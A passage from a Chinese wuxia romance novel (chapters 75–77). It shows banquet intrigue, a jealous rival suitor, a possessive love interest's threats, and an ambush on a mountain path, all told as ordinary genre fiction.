阿良再劝:“少掌门知道您会这样说,特意嘱咐,说姑娘本就身子不好,就算不要,也放在一旁,说不准过会就吃一口呢。” 她故作姿态点点头:“那就先放着吧。” 说完,又去瞧了一眼那两人。 一个胖子一个瘦子,一同与她被安排进角落坐着,如今两人瑟瑟发抖,忙手忙脚地一粒一粒拣花生米吃,越拣越掉,越掉越忙,掉在盘子里,叮当作响。 她垂下眼眸,笑了一瞬。 这时候,忽然两条长腿跨进了她的长凳和桌子之间,自然而然坐在了她身侧,“你怎么坐这了?” 一面向阿良吩咐着:“给我拿双筷子。” 第75章 阿良一看来人,脸都白了。 送行宴,顾怀瑾没有邀请李玄白。但在众人眼里,李玄白要来,也并无甚奇怪之处,一时无人惊讶。 南琼霜筷子一顿,霎时感觉上首的人在看她。 她都不消与他对上眼神,后背已经起了一层鸡皮疙瘩。 她叹了口气:“你怎么来了?” 李玄白瞥了她一眼,回身顺过阿良递来的筷子,从容自若地在她那些刚刚端上来的菜里拣了一个青虾卷,搁进嘴里,“嘁。他不让我来我就不来?” “你就算来……”你就算来,一屁股坐在我旁边,岂不是在给我找麻烦? 她胆战心惊往上头瞟了一眼,顾怀瑾果然正在盯她,口里话都断了,捏着酒盏,只是往这边看。 满堂主宾弟子见他突然停了话头,无不一头雾水,面面相觑。一时堂内寂静无比,众人全屏息凝神看向最上头的他,等着他的下言。 无人想到,这突如其来的静寂,关窍竟在长桌最末。 她连余光都不敢再往上首瞟,假装扶额,挡住脸上表情,“你坐过去些。” 李玄白指节在桌上叩了两下:“凭什么?我听说你马上要和那小子上朝瑶峰了,特意来的。” 上了朝瑶峰,整座峰上就唯有他们二人,是个再好不过的时机。不论做什么,都是再好不过。 不论如何,她不会让李玄白坏了这等好事。 “来做什么?连珠子都敢往我脸上比划,你当我还会给你好脸?”她垂着眼眸,夹了一口芙蓉烧鱼。 “不是,这么记仇啊?我又没想真打你。” 李玄白根本没注意到顾怀瑾在前头,自己面前没有菜,就把阿良刚刚端上来的那一盘丰盛精致的拉来自己面前,自顾自夹着,“你都把我本命珠扔进了水里,还没消气?” 一想起他那一兜本命珠,她嗤笑一声,假装理碎发,袖摆垂下挡着脸,“怎么样,找得辛苦不辛苦?” 顾怀瑾仍没有说话,堂外鸟啼蝉鸣不断,李玄白翻个白眼,腮帮子吭哧吭哧嚼着。 长桌上首,众人忽然一阵惊呼,“少掌门,酒盏裂了?您伤着没有?” 顾怀瑾在上头,声音如常:“无妨。拿个新的来。” 将那裂纹绵延的青瓷酒盏,轻轻搁到桌上。 上头的动静,南琼霜没听着,李玄白吃瘪,这场戏她实在太喜欢看,她挡住表情,笑着: “听说李大少爷不仅没下成山,还被关进逝水牢内,泡了几日溶洞水?地下水彻骨冰寒,疗效奇佳,怎么样,武功可是破了层境界?” 李玄白实在受不了,把筷子啪一声摔在桌上,“嘴怎么那么贱呢!” 她笑得止不住,拿衣袖捂着唇,忽然发觉这一会顾怀瑾依然没有说话,一时不大自在,赶忙止住了。 “所以你今天来干嘛?”她轻轻道,“都闹成这样,你不会还要阻挠我上朝瑶峰?” “阻挠?”李玄白看她一眼,笑了一声,手伸到她耳下。 她吓了一跳,余光一瞥,果然见顾怀瑾仍在前面直勾勾盯她,未等她反应,李玄白两指一弹,她耳下那颗玉髓小耳坠被弹得纷飞乱晃,来回抽在她耳垂上。 “我不阻挠。逝水牢这些日子,我想开了。” 他右手在桌上撑腮,左手毫不避嫌地将她的小耳坠弹开又捞回,捞回又弹开: “我为了你,跟他争得头破血流,争到被他打入逝水牢,我至于吗?不过一个女人而已。” 南琼霜被遥遥盯得浑身发毛,不动声色地退开一些: “那你想说什么?” 他倦懒笑着,去理她耳畔的碎发: “我不争了。” “什么不争了?” “你。”他干脆道,手指在她下巴颏上刮了一下,“我让给他。” 南琼霜筷子支进碗里,偏头躲开他的手指,一瞥,顾怀瑾竟然仍在前头盯她,她真是受不了,牵起衣袖遮住脸: “要是这么懂事,也算你有眼力见。” “我话还没说完呢,你急什么?” 他夹了一筷子葫芦鸡,喂到她嘴边,几乎擦到了她的嘴唇,垂眸道: “我何必同他抢,我加入不就是了。” 南琼霜:……? 李玄白继续道: “我是想明白了,你这个性格,我要你十分,我就得给你十二分。” “我给不起。难道人这一辈子除了情情爱爱,就没别的事了?老子在天山,身上要紧事儿一堆呢。” “我是喜欢你,但只会喜欢你三四分。” “因而,我也就只要你三四分。” 他声音平稳如常,将那葫芦鸡在她唇珠上又蹭了蹭,示意她张口,笑起来: “免得缚人,也免得自缚。” 她简直难以置信,嘴唇开了又合,想说却又不知该说什么,却被他直接将那一口鸡肉塞进了唇间。 她没躲过,半晌,将那一口鸡肉艰难咽下,缓缓挑起一边眉毛: “……你要给我做小?” “做小?这怎么能算做小。”李玄白两手一摊,一副混不吝模样,“我只占你三四分,你也只占我三四分。若说是做小,你也同样给我做小。” 南琼霜难以理解,皱眉顺了口气。 “明白了?”他道。 她揉着额心,一时头痛欲裂,捋了捋他的话。 “那……倘若我连三四分都给不了呢?” “楚皎皎。”他忽然笑了,“你不是要对我讲,你会一心系在哪个男人身上吧?” 这话问得她忍俊不禁,噗嗤一声笑了。 “别扯。”他又夹了一个虾圆子放进嘴里,“你也绝不会为情之一字所困,我早瞧出来了,我们本是一样。” “所以,”她揉着眉心,笑,“你是说,顾怀瑾爱我,你无所谓?” 他笑了:“对。” “哪怕我选顾怀瑾,你也无所谓?” 他耸耸肩:“对。” “因为你将我放在天平上,与其他东西比较衡量了一通,觉得我没有其他事重要,因此不愿再钻牛角尖?” 李玄白点了头:“正是。” “你既觉得我不重要,还在这里纠缠我做什么?” 他笑了,举起酒杯,跟她面前摆着的酒杯撞了一下,清脆的叮一声。 再抬眼,眼神仿佛野兽欣赏着猎物美丽的皮毛,一种带着欲望的赏玩: “你不重要,但有意思。” 南琼霜眉毛拧了一瞬,摇着头笑起来:“你这人……” “倘若我连那三四分都不给呢?” 他笑了起来:“楚皎皎,老子让到这一步,已经是让到底了。你若是不想我同他闹得你死我活,最好懂点事。” 她缓缓歪头,仿佛从来没认识过他似的,从左到右,将他那张艳肆面孔,仔细打量了一圈。 末了,摇摇头,拿起小酒盏轻啜了一口。 “真是不知道你脑子里在想什么。” 李玄白举杯,又同她的小酒盏撞了一下,垂眸饮尽。 她不知道他在想什么,便是最好。同她一样,他最讨厌被人猜透心思。 有些心思,不能给她知道。 比如,他方才所说种种,全是信口胡诌。 他愿意暂时退步,不过是瞧了出来,当日菩提阁内他不肯发话救她,大比上又以她为饵诈了那顾怀瑾,她已经对他不满,他几乎失去了她的心。 此时,倘若再强求,这捉摸不透又不留情面的女人,说不准真会同他断了交情,以后连句话也不同他说。 那样的事,他不喜欢。 既然比付出,比不过那姓顾的,那么,就比给她的自由。 姓顾的小心眼,看她看得那样紧,他不信她没有厌烦的一天。 他手指在桌上一下一下愉悦叩着,低头在她的菜盘里挑挑拣拣。一块红烧豆腐,她咬了一口,未及吃完,暂时放在菜盘边缘,他特意拣了那一块,吃下去。 一抬眼,与坐在上首的顾止,刚巧对视。 其实也不是刚巧。从他坐在这里开始,姓顾的就一眼没离开过他,都不知道这人是不是有什么龙阳之癖了。 他举起小酒盏,同那人不善又阴沉的目光对视一瞬,挑挑眉毛,遥遥举杯。 顾怀瑾神色未动。 他无声做了几个口型:“好好相处。” 这一餐饭,南琼霜吃得哭笑不得。 原本,上朝瑶峰在即,她绝不愿再生出什么事端,即便面前全是大头菜,她也从未想过要厨房重做,不想惹人注目。 结果,顾怀瑾不知怎么就注意到了,要人送来一大盘丰盛珍奇的菜。 至于李玄白这厮,她自从那日得了顾怀瑾的吻,本是铁了心想避开这人,不想他拣了送行宴这么一个不由她乱动的场合,毫无顾忌地坐到她身边。 本想着同他避嫌,免得惹是生非,结果这人同她说了一大堆惊天地泣鬼神的疯话,说得连她这样见多识广、身经百战的,筷子都要掉下来,望着他,难以置信了许久。 现在想起来,她望着李玄白自我怀疑那一阵,落在顾怀瑾眼里,大约便是看他看得呆了。 何况,她似乎不小心吃了一口李玄白喂来的葫芦鸡。 她心神不宁地叹口气,感觉太阳穴突突地跳。 晚上,顾怀瑾岂不是又要吻着她脖子磨她? 上首,顾怀瑾的话不知什么时候说完了,人已经坐下,慧德悠悠开口: “这些日子,山上政事繁多,老夫年事已高,早已没有心力处理这些。往后这些事情,一并交由怀瑾。” 顾怀瑾颔首:“是。” “因着这些日子殚精竭虑,老夫近来身体抱恙。问了屈先生,先生建议我闭关调息,既是静修,亦是静养。因而,半月后,老夫即将入绝音谷闭关,由瑶洁陪同。” 此话一出,满堂弟子彼此相视一眼,目光无声落在最上首垂着眼的顾怀瑾身上。 慧德要闭关,那便不得不放权,此后山上诸事,其余长老皆是辅佐,要论决断定夺,唯有顾止一人。 顾怀瑾大拇指摩挲着天青色酒盏光滑的杯身,波澜不惊。 宋瑶洁急道:“师父,绝音谷每年十月便会落雪,眼下闭关,也只能闭关四月,那绝音谷去一次相当不易,何必今年冒这个险?不若明年……” 慧德目光静静在宋瑶洁面上掠了一瞬。 宋瑶洁当即止住了话。 慧德:“山上两仪阁内出的事,诸位也都听说了。阴阳钥失窃至今,窃贼尚未水落石出。老夫入绝音谷闭关后,怀瑾等当继续追查,绝不能……” 宋瑶洁又将他打断:“师父,不若今年先在山下疗养,菩提阁后便是无垢泉,乃是极佳的疗养汤泉,师父若……” “瑶洁,”慧德道,“可是不愿陪伴老夫闭关?” 毫不遮掩的质问,连一丝脸面也未给。 山上众人一时齐齐低下头,噤如寒蝉。 宋瑶洁脸色惨白,竟连声音都抖着,“……不敢。” 南琼霜坐在最尾,皱了皱眉。 怎么这样奇怪。即便是不愿陪伴慧德闭关,何必当着众人的面,打断慧德的话。私下说不就是了? 至于慧德,也奇怪得很。李玄白不更是他的爱徒吗,何必选宋瑶洁? 她转头去看了眼李玄白的神色,他却一派如常,似乎并不觉得哪里不对。 看了一眼顾怀瑾,他出神望着面前天青色的小酒盏,依旧平静无波。 难道是她想多了? 慧德道:“你是我自小带大的,不想竟没有随了老夫的性子,如此急躁。既如此,师父这些日子不得不去你院子里,先教你几日佛法。” 南琼霜愈发觉得不对,又看了一眼李玄白。 李玄白竟然依旧神色未变,撑腮听着。 宋瑶洁脸色一瞬间几乎是惨白,连嘴唇都哆嗦起来,整个人仿佛落了水的动物,浑身湿透,瑟瑟发抖,魂不守舍。 这里面一定有问题。 慧德望着她,声音悠悠:“瑶洁,愿意吗?” 宋瑶洁垂首:“……愿意。” 南琼霜碰碰李玄白的胳膊,“我听说,我刚上山那一阵,你闭关,是在陪同掌门闭关?你们天山,闭关还需要陪同?” 李玄白点头:“是啊。” “你是慧德的入室弟子,为什么陪同顾掌门闭关的,不是顾怀瑾,是你李玄白?” 李玄白撑腮,拨了拨她的睫毛:“这个嘛……”笑了一刻,“我们两个轮换。这一回是他,下一回就是我。” “那么,陪同慧德闭关的,一向是宋瑶洁?” “没错。”他古怪打量她一圈,“你忽然问这个做什么?” “宋瑶洁每次都是这样……”她斟酌着措辞,“……惊慌吗?” 李玄白:“陪同闭关,有时会双方共同运气调息。一个不慎,便会筋断骨裂。她那点功力,怎么承受得住师父运气,每次出来都一身伤。” 南琼霜轻轻嘶了一口气。 明知道宋瑶洁每次陪同,出来都是一身伤,竟然还要她陪同。 自诩正道的天山派,同他们往生门,似乎也没什么两样。 忽然,厅堂的锦帘被人掀了起来,一个弟子飞奔入内,附在宋瑶洁耳畔,轻声说了几句。 宋瑶洁立时变了脸色。 慧德:“怎么了?” 宋瑶洁站起身来,朝慧德行礼:“师父,星辰阁前侍卫来报,说发现了身份不明之人,似乎要闯星辰阁。” 此话一出,满堂弟子皆是大惊,惴惴不安地彼此相望。 慧德也怔了一瞬,望向衡青南。 衡青南颔首:“星辰阁之事颇为紧要,既如此,今日酒宴不如就到这里,衡山派心意领了,请诸位散了吧。” 慧德便向宋瑶洁与顾怀瑾使了眼色,两人会意,一同起身。 李玄白笑:“嚯,那家伙要走了。瞧他看我那个眼神啊。” 南琼霜将筷子搁下,没说话。 大比的时候,伊海川便说,贼人窃走阴阳钥之后,宋瑶洁派了人守在星辰阁和九曜逆轮两处,却不见贼人踪迹。 如今,这条蛇终于要出动了。 顾怀瑾此次,能否将那把钥匙找回来? 宴席散了,众宾客已经起身,三三两两离席,人来人往之中,她抬眸,往上首看了一眼。 顾怀瑾隔着涌动的人潮,也正遥遥看着她。 那一眼,她竟觉得,他又是不舍得走。 他身后,宋瑶洁拨了拨他的胳膊:“怀瑾,时不我待。” 他一顿,无可奈何皱了眉,叹息道:“好。” * 送行宴散了,从那人满为患的保和堂出来,南琼霜靠在堂前庭院回廊的廊柱上,等人散尽。 这些人,她一个也不认识,然而个个都认识她,迎面、擦肩都抻着脖子瞧她,她实在受不 了,想走在最后。 何况,她自从上山,身旁从未无人陪同,到哪都被看得紧紧的。眼下,忽然身边没了人,总觉得不大安全。 天山之上,她一身武功不得施展,不能不小心行事。不若等人散尽,只剩她自己。 至于李玄白那厮,早就不见了,不知道去了哪。 她叹了口气,手指在胳膊上敲着,忽然身后一道声音:“皎皎。” 顾怀瑾在她身后,自然而然摸上了她的腰,将她揽到面前:“刚刚同他又说了什么?” 她一怔:“你不是去星辰阁了吗?” “我没有多少时间。”他拈起她胸前一缕发,在指间捏着摩挲,“说了什么?两人笑得那样开心。” 她从他怀里退出来,略微推开他一些,“别闹,星辰阁的事要紧。” “就是因为星辰阁那边要紧,所以才要你快说。”他垂眼,“不得你一句话,我如何安心。” 我若是真说了,你一定更不得安心。 她觉得有点好笑:“他的话,你当真想听吗?” “快说。这里这样多人,不要非等我逼你。你知道我这个人……”说着,故意去揉了揉她脖子上那个搽了脂粉,勉强盖下去的吻痕,“……不管不顾的。” 她笑起来:“他说,他不同你抢我了。” 顾怀瑾猛地抬起眼来:“什么意思?” “他说,”她笑个不停,“他要加入。” 第76章 “他要加入?什么意思?” 他依旧抚摸着她脖子上那个吻痕,手指用了些力。 “我同他明说了,我会选你。” 他淡淡听着:“嗯。” “然后他说……”她笑得又说不下去了,“他说没关系。” “没关系?” “他说,他不要我全部,只要我三四分。所以我可以尽情选你,他不在意,只要分一点给他。” “分一点给他?” 他手指陡然使了力,按在那淤紫的吻痕上,竟然按得她又有些痛。 “干嘛呀,疼。”她把他的手打开。 顾怀瑾按着她后腰,把她搂得贴到身上。 四周离席的弟子自保和堂内出来,刚跨过门槛,便见一旁曲折回廊内,绿荫花影下,少掌门脸色阴沉不悦,将那传言中的女子强按在怀里,无不吓了一跳,手忙脚乱地装聋装瞎,远远躲开,溜之大吉。 南琼霜四下一看,哪里是没有人在看他们,是全看见了,一个个装看不见,一时脸上发热,把他推开:“做什么,这么多人呢。” “那皎皎是如何答复他的?” 他垂着眼,手用力在她那个吻痕上揉搓着,终于将所有脂粉尽数蹭掉了,有意露出里面的淤紫。 “我没答复。他是由我答复的性子?他要做什么,谁拦得住。” “那皎皎就是默许。”他将话一口咬死。 她嘶了一口冷气。这么快就叫他想明白了,今天他脑子还算清醒。 “他还说,”她喜欢逗他吃醋,看他非她不可的模样,信口胡编,“连他这样睚眦必报的,都愿意容我有两个男人,给我自由。你这样宽容大度的,不会不愿意吧?” 顾怀瑾长睫翕垂,笑着,没说什么,忽然发现她脖颈上,一根软软的血管,突突跳动。 他用大拇指,轻轻在那血管上揉。 “他还说,愿意同你好好相处。” 他很想把那根绿色的血管吮断。 好好相处。 这时候,顾怀瑾终于看懂了那时李玄白遥遥举杯,对他比的口型。 原来是好好相处。 竟然是好好相处。 李玄白这小子真是活腻了,不见棺材不落泪。 他捻着她的小耳坠,想起方才,李玄白也是这般玩着她的耳坠,而她就任由他轻浮。 他道:“皎皎默许,那就是爱他。” 他声音简直平直麻木,听得她皱了皱眉。 抬眼一看,这人双眼混沌一片,黑茫茫地失了神,整个人仿佛被漆黑的漩涡裹挟而死的鬼,惨白而阴郁,轻笑了一声: “皎皎果然爱他。” “我就知道,皎皎爱他。” “那时候,又骗我,说怕在山上不安全,其实是为了救他。我就知道。” “我总是心太软……”他茫然四顾,很好脾气的叹了一声,“心一软,皎皎的什么话都听。听到最后,麻烦的是自己。” 那样阴恻恻的语气,南琼霜知道,这人恐怕又到了理智崩溃的边缘。 她不由自主后退了半步——她是想逗逗他,但竟因为这一句话,直接失控成了这个样子,她也未曾想到。 她知晓今日玩得过了,忐忑去抓他的袖子:“……怀瑾。你……” “皎皎喜欢他,是吧。”他望着她,在她额上珍爱至极落下一吻,“我爱皎皎,所以听皎皎的话。” 她惴惴不安地听着。 “那么,皎皎想他怎么死?”他垂下眼,揉着那个标示着他所有的青紫的吻痕,“鞭死?打死?毒死?坠崖?皎皎那么喜欢他,我是不是该给他留个全尸?” 他去搂她,把她的头按在怀里,侧首在她脖子上闭眼吮着:“如果不留呢?皎皎会生气吗?” 颈侧传来湿润滑热的触感,他两片唇在她皮肤上贴着,唇舌在她的血管上挑动含吸。 一点啧啧的声音。 那声音,她简直听得脸红,不自觉抓紧了他的衣服,阖上眼睫。 顾怀瑾按着她的背,她伏在他胸口,似乎全身其他感官都失灵了,所有神经在他吮吸的地方汇成一个尖锐的点,她的神思摇啊摇,一个啮咬一般的吻,已经不知道是爱还是恨。 她身不由己地迷失了,软在他怀里。 “对。皎皎喜欢我这样。”他气喘着放开她,唇和她的皮肤之间拉出一条摇晃欲滴的细丝,他望着她脖子上那个晶莹的水印: “皎皎喜欢我亲脖子。每次这样一亲,就不得不听话了。” “原来皎皎的身体,比皎皎听话。假如身体听了话……皎皎也不得不听话。” 她几乎趔趄了一下,这话说得她简直害怕,什么叫身体听了话,她就不得不听话? “好了你,你别发疯了。”她竟然结巴了一下,“星辰阁那边你还不快去吗?在这里同我……” 睁开眼一看,宋瑶洁抱着肩膀靠在廊柱上,不远不近,不冷不热,一双眸子冷冷的,不知在树荫下看了多久。 她脑子里嗡的一下。 “大师姐……” 宋瑶洁:“怀瑾。” 顾怀瑾没听见,满意地摸着她雪白皮肤上一块新的红印,他现在才发现,不止公文,人,也可以盖上他顾怀瑾的章。 这个章,他早就该盖了,在早知道她还在被其他人觊觎的时候就应该盖。 盖满全身,从头到脚,到别人想横插进来,都没有空隙容纳的地步。 他道:“皎皎,你已经骗过我许多次。我不喜欢你骗我。” 宋瑶洁仍在一旁平静看着,她无心听顾怀瑾说话,往宋瑶洁的方向一瞥,刚好与她那双过分冷静的眼睛对视。 她脸上腾地烧起来,几乎烧得痛了。 “怀瑾。大师姐……” “又骗我。还要骗我多少次啊,皎皎?是不是我一直以来,脾气太好,叫你以为,我是好骗的了。” “我是好骗。皎皎,我是 好骗。别的事情,都无所谓,我说过了,要什么我都给。” “只有这一件事情,你明知道我最在意,却还是几次三番骗我……” “你……”他喉结滚动一瞬,轻轻喘息起来,“你想怎么补偿我,说说。” 他那样的喘息,究竟是什么含义,她最了解。 下一步是什么,她也最了解。 可是,宋瑶洁。 她头皮发麻,在他腰上捏了一把,拼命给他使眼色。 顾怀瑾连眉头也没有皱一下,只是垂眸看着她。 他道:“今晚帮我。” 她倒吸了一口冷气。 “听见没有?” 她听天由命地点头。 “不准再骗我。” “好。” “让李玄白那狂妄小儿滚。倘若你不叫他滚,我会叫他死。你看我如今做不做得到。” 她点头点得痛快:“好。” 宋瑶洁:“怀瑾。” 顾怀瑾身影猛地一滞。 “星辰阁门前有异动,你在这里做什么?” 她急道:“所以我跟你说过了……” 顾怀瑾心烦意乱地阖了眼睫,平复了一下呼吸,转过身去。 “原来师姐在这。” 神色倒是波澜不惊,岿然不动。 这些日子,他脸皮厚了许多。 宋瑶洁凉凉笑了一声:“没想到,才三个多月,你们感情竟然这样好了。那时候,不是还像模像样地跟我说,只是客人吗?” 顾怀瑾没说什么,将她拉到身后挡着,不许宋瑶洁带着似笑非笑地嘲讽神情看她。 “顾怀瑾,这就是你的待客之道。” 话到末尾,竟然带上了哭腔。 顾止没想到,宋瑶洁竟当着人哭了,一时错愕。 南琼霜也始料未及,捏了捏他的手,两人惊疑不定地对视一眼。 以从前顾止的脾气,谁哭了都要上前递帕子,可是他如今泥菩萨过河自身难保,自己还一肚子的戾气无处发泄,于是只是站在原地,静静看她流泪。 宋瑶洁颤抖着:“我同你并肩十年,相识十年,你竟然就这样同一个山下来的,只认识了三个月的女人……” “师姐到底想说什么。”关涉到她的事,顾怀瑾没有一点耐心。 宋瑶洁靠在廊柱上,站在绿荫底下,人被身旁翠绿的枝叶映得脸色发青,一双眼却亮得吓人,张开嘴,似乎想说的有许多,然而嘴唇开合,最终还是什么都没有说出口。 许久,她困在那浅碧色的树影底下,颓废偏开了头,仿佛再也走不出来了似的,认命闭上眼。 滑落一颗泪,微颤着挂在下颏尖。 “没什么。”她最后道,“走吧。你去星辰阁,我去九曜逆轮。” 南琼霜望着她那一颗透明的眼泪,心里不知是什么滋味。 顾怀瑾伸手,最后抚了抚她的背,“在这里等伊海川,他送你回房。”握着她的腰,附耳轻轻:“晚上等我。” 四个字,喷薄的温暖的呼吸,扑进她耳朵深处,一种让人浑身战栗的酥麻。 * 在回廊内等了不多时,便等来了伊海川。 宴席结束后,伊海川原本已经走出不远,忽然来人传了消息,要他护送楚姑娘回暮雪院。 他不敢耽误,三步并两步,赶到了那回廊底下。 顾怀瑾还在廊下等他。 见了他,顾怀瑾颔首:“你到了,我才放心。带上皎皎回去。路上,不论谁拦,绝不能叫人将她带走,给我看得死死的。有什么事,派人上三清峰报告。倘若遇见李玄白,能杀便杀,出什么事我兜着。倘若杀不了,也绝不准他将人带走,你务必跟着随行。” 伊海川行礼:“是。” “哪怕是师叔身边的青灯来拦,也绝不准放人。万不得已之时,便将那青灯制服,一切等我回来后定夺。” “是。” “倘若是衡山派的衡小姐……” 宋瑶洁不耐:“衡小姐已经同衡掌门下山了。你究竟还要因为她耽误到几时?” 顾怀瑾不悦一瞬,揉着眉心强忍下,最后望了南琼霜一眼,转回了身,“走吧,师姐。” 第77章 从保和堂回暮雪院的一条路,并非在密林中穿梭,而是一条盘旋向上的弯路。 今日天色正好,山间几声清脆的鸟鸣。蝴蝶扑扇着翅膀匆匆飞过,前几日下了雨,空气中一派微凉的草木芳香。 山径旋转向上,往一旁望下去,下面是一大片绵延不绝的花海,黄澄澄的,然而离得远,瞧不出是什么花,一直壮阔地铺到天边。 “那下边,全是黄玫瑰。”伊海川见她侧首看着下面山谷,道,“如今正是开花的时候。” “黄玫瑰。”她感慨,“真好看。整个山谷中金灿灿的。” “只可远观,不可亵玩。那地方可没人敢进去。” 南琼霜皱了一下眉,等着他的下文。 伊海川朝远处三座孤刃般的山峰指了指,那三座孤峰高耸入云,匕首一般直捅入天,中间似乎连着几根铁索,然而云雾环绕,瞧不清晰。 “这一片,已经距离顾氏朝瑶峰不远。朝瑶峰与含雪峰以铁索相连,含雪峰之上,便是山上兰阁禁地,山内众人不得靠近。因而,含雪峰附近草木,全设了冰丝阵,包括下面那一大片黄玫瑰花海。” “何况,玫瑰本就多刺。若是从这里滚落下去,即便侥幸未因触石而死,滚入那玫瑰花海,大约也要遍体鳞伤,血尽而亡。姑娘还请往里走些。” 冰丝造价高昂,她真是没想过天山竟然阔到这地步,不仅在李玄白的凌绝阁前用冰丝设下机关,含雪峰附近,又设下了铺天盖地的大阵。 这样广阔到一眼瞧不见尽头的花海,究竟得用了多少冰丝? “楚姑娘。”忽然一人自身后将她叫住。 她一回身,是宋瑶洁身边的祁竹。 自从她从漱玉斋中搬出来,就只与祁竹在菩提阁内打过几个照面。何况祁竹几乎时时随在宋瑶洁身侧,她一见是她,一时惊讶。 祁竹行礼:“大师姐叫我来对楚姑娘传些话。” 她不知祁竹葫芦里卖的什么药,不想同她碰上,往伊海川身后躲了一下。 祁竹:“大师姐说,楚姑娘最初上山时,因着过往觊觎天山驭珠之法之人不知凡几,对姑娘抱有疑心,恐怕有言行不当之处,多有得罪,请楚姑娘原谅。” 她眨眨眼,思忖一瞬,本能地觉得其中有诈,更加往伊海川身后闪了闪。 “当日,师姐曾因区区一瓶金疮散与您起了龃龉,师姐说当时受了伤急用药,不想院中人并未知会一声,便将她的藏药拿了去,心中不平,因而对姑娘动了怒。后来,师姐自觉言语冒犯,实在失礼,还望楚姑娘原谅。” 南琼霜心里道,这是得知她被顾怀瑾强留在山上,又撞见了顾怀瑾吻她,终于承认她或许要做少掌门夫人了,于是来认错投诚? 她道:“没有什么原谅不原谅的。大师姐在山上资历最深,凡事有她的道理。” 祁竹一听她这话,便知是不肯松口,默了一瞬,自袖中掏出一只华光闪烁的珠花,双手捧到南琼霜面前。 “大师姐吩咐过,姑娘不日将随少掌门上朝瑶峰,这是师姐送给姑娘的临别礼物。” 那是一只珍珠嵌宝石蝴蝶珠花,以小颗粒的珍珠串出蝶翼纹路与触角,一颗白玉髓嵌入中间,水晶点缀着蝶翼,日光底下,招摇生辉。 好看是好看,但宋瑶洁的东西,她不敢要。 南琼霜躲在伊海川身后,衣袖掩唇,怯怯垂下眼:“如此贵重的东西,奴婢怎么好收下。大师姐的心意,奴婢领了。这只珠花,还请祁竹姑娘还回去吧。” 祁竹一向自傲,好话说到这,已有些不耐烦,“如此,姑娘是仍不肯原谅师姐了。” 这话又将她架在台上下不来,她笑笑,“师姐并无错处,何谈原谅,我不过是……” 伊海川忽然道:“楚姑娘,大师姐也 是一番好意。” 她话头一顿,这时才想起,在伊海川眼中,她大约有些太不识趣——一些鸡毛蒜皮的琐事,一山大师姐派了大丫鬟来好声好气地赔罪,还送上了心爱的珠花以表心意,她却在这里再三推辞,装什么? 南琼霜默了一瞬,接过了那只珠花,“既如此,奴婢谢过大师姐。不过此前的事,实在谈不上得罪,大师姐为了山内着想,提防外人,实是情理之中。此前的事,都是奴婢不对。” 祁竹还想再回些客套话,伊海川在旁已经听得不耐,抢先颔首道:“先送楚姑娘回去了,少掌门临行前千叮咛万嘱咐,我不敢耽误。祁竹姑娘回去路上小心。” 说完,不待祁竹回话,先行几步在前。 南琼霜根本不想同祁竹交谈,紧跟几步随在伊海川身后,将那只珠花在手里翻来覆去的看。 莫名其妙地给她送来一只珠花,到底打的什么主意?她可不信宋瑶洁那样好心。 她抬眼瞥了一眼伊海川,伊海川正背对着她自顾自往前走。 她娴熟在那珠花上每一寸可疑之处细细抚过,一颗珍珠一颗珍珠地找,翻过来在蝴蝶身子上仔细摸索。 找了半天,确实并未找到什么机关暗扣。 这就奇怪了,宋瑶洁何必大老远的给她送珠花来? 正想着,却忽然在前面的人背后撞了一下,伊海川不知何时停了下来。 她从伊海川身后往前看去,只见衡黄带着一众家仆武婢,浩浩荡荡自前面山径上下来,她自己一个人着一身银珠红洒金长裙走在最前,在山间繁茂绿荫和身□□芜绿的家仆前头,艳丽得几乎刺眼。 伊海川将她整个挡在身后,对着衡黄抱拳行礼:“见过衡小姐。” 衡黄轻飘飘瞥他一眼,眼皮都没抬,触到他的瞬间,仿佛晦气似的,目光顷刻旋开了。 她吩咐身后家仆:“走。” 南琼霜松了一口气。 她就这样走掉,是今日最好的结局。 衡黄走了几步,越过伊海川,这才瞧见了他身后的南琼霜。 但马上下山,她已不想再生事,何况这些日子,她在天山上倒霉得紧,前天在水缸旁一脚绊倒,好好的人差点在陆地上溺水,她如今只盼着早日回山。 她身旁的金萍忽然“咦”了一声,“小姐,那女人手里拿着的,岂非前些日子,大师姐答应送给您的珠花?” 南琼霜将那只珠花藏入袖中,心中轻笑,原来是这么回事。 衡黄却已经瞧见了,眉尾倦懒吊着,朝她伸出一只纤白的手:“拿来,给我瞧瞧。” 伊海川拦在她身前:“衡小姐,那是大师姐送来给楚姑娘赔罪……” 衡黄抬头,盯他一眼。 伊海川霎时闭了嘴。 南琼霜笑得无所谓,依言将那只珠花交到衡黄手上,“衡小姐若是喜欢,便尽管拿去,这样珍贵的东西,奴婢配不上,本就是想送还给大师姐的。” 金萍指间拈着帕子,趴到衡黄耳畔蛐蛐:“小姐,之前那宋师姐说您日后是要做少掌门夫人的,想送您一只珠花,后来却没有送。难道就是这只?” 衡黄听着,缓缓挑起一侧眉毛,笑了,“难道说,是因为我做不了少掌门夫人了,所以给了你,因为你是日后的掌门夫人?” 她嗤笑一声,眺望了一圈天边,感慨,“人情冷暖,竟然还冷到我衡黄身上了。我们衡山派还没倒呢。” “也真是万万没想到,那个见风使舵的宋师姐,竟然弃了我,向你投诚。一个船娘,癞蛤蟆也敢装金蟾蜍,如今可真是攀上高枝儿了?” 伊海川挡在两人中间,头低得越发恭敬,“奉少掌门的命令,护送楚姑娘回房,恕不奉陪。” 说完,抓着她的胳膊,往前疾走。 “回来!”衡黄笑道,“你们天山就是这样待客的?一而再再而三地侮辱我——此前一双手腕的仇,还没报呢!” 她回身,朝一众家仆手一挥:“给我收拾她!” 衡黄身后随了八个家仆,俱是衡山上她用惯了的武婢暗卫,她一声令下,八人齐齐拔刀,一时刀光炫目,刀鸣铮然,直奔他们二人而来。 伊海川“唰”地拔刀出鞘,太阳穴怦怦跳动,手往盘山路尽头向上一指,“八个人,我恐怕应付不得,楚姑娘,跑!” 南琼霜并未动弹,弄山月已经搁在唇边,指尖跃动,箫声如一片锋锐竹叶,盘旋升空。 顾止在星辰阁前,绝不能打扰他。这种时候,叫李玄白来,方为上策。 伊海川不解其中关窍,抬剑格下面前劈来的弯月刀,“楚姑娘,跑啊!” 她将箫收入袖中,提着裙摆,退开几步,惶惶往山上飞奔。 脚后却忽然炸开一声爆竹般的巨响,碎石子崩在她小腿上,砸得一阵刺痛。 她回身一看,一截老虎胡须般的软鞭拍在她脚后几寸处,一鞭,竟然抽得山径一道深痕。 衡黄懒洋洋抬手,将那鞭子收入手里,挑眉笑着,“跑啊。我这青丝鞭,正是人跑得越远,抽得越顺手。” 真是倒了霉了,若是这伊海川不在这,她倒还可以施展身手,浑水摸鱼逃走。 